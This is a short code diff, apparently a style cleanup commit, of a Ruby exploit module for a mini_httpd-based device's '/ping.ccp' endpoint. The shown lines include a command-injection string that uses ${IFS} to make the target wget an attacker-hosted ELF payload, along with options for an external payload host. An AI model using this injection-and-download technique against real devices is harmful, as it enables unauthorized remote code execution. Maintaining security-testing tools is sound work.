@@ -70,7 +70,7 @@ def initialize(info = {})
70
70
[
71
71
OptString . new ( 'WRITABLEDIR' , [ true , 'A directory where we can write files' , '/tmp' ] ) ,
72
72
OptString . new ( 'EXTURL' , [ false , 'An alternative host to request the EXE payload from' ] ) ,
73
- OptString . new ( 'TARGETURI' , [ true , 'The base path to the eScan Web Administration console ' , '/ping.ccp' ] ) ,
73
+ OptString . new ( 'TARGETURI' , [ true , 'The base path to the vulnerable application area ' , '/ping.ccp' ] ) ,
74
74
OptInt . new ( 'HTTPDELAY' , [ true , 'Time that the HTTP Server will wait for the ELF payload request' , 10 ] )
75
75
] , self . class )
76
76
end
@@ -83,7 +83,7 @@ def check
83
83
} )
84
84
85
85
# unknown if other devices also using mini_httpd
86
- if res && [ 500 ] . include? ( res . code ) and res . headers [ "Server" ] and res . headers [ "Server" ] =~ /mini_httpd/
86
+ if res && [ 500 ] . include? ( res . code ) && res . headers [ "Server" ] && res . headers [ "Server" ] =~ /mini_httpd/
87
87
return Exploit ::CheckCode ::Detected
88
88
end
89
89
rescue ::Rex ::ConnectionError
@@ -156,7 +156,7 @@ def wget_payload
156
156
157
157
cmd = "wget${IFS}#{ @payload_url } ${IFS}-O${IFS}#{ File . join ( datastore [ 'WRITABLEDIR' ] , @dropped_elf ) } "
158
158
res = exec_command ( cmd )
159
- if res && [ 200 ] . include? ( res . code ) and res . headers [ "Server" ] and res . headers [ "Server" ] =~ /mini_httpd/
159
+ if res && [ 200 ] . include? ( res . code ) && res . headers [ "Server" ] && res . headers [ "Server" ] =~ /mini_httpd/
160
160
register_files_for_cleanup ( File . join ( datastore [ 'WRITABLEDIR' ] , @dropped_elf ) )
161
161
else
162
162
fail_with ( Failure ::Unknown , "#{ peer } - Failed to download the payload to the target" )
0 commit comments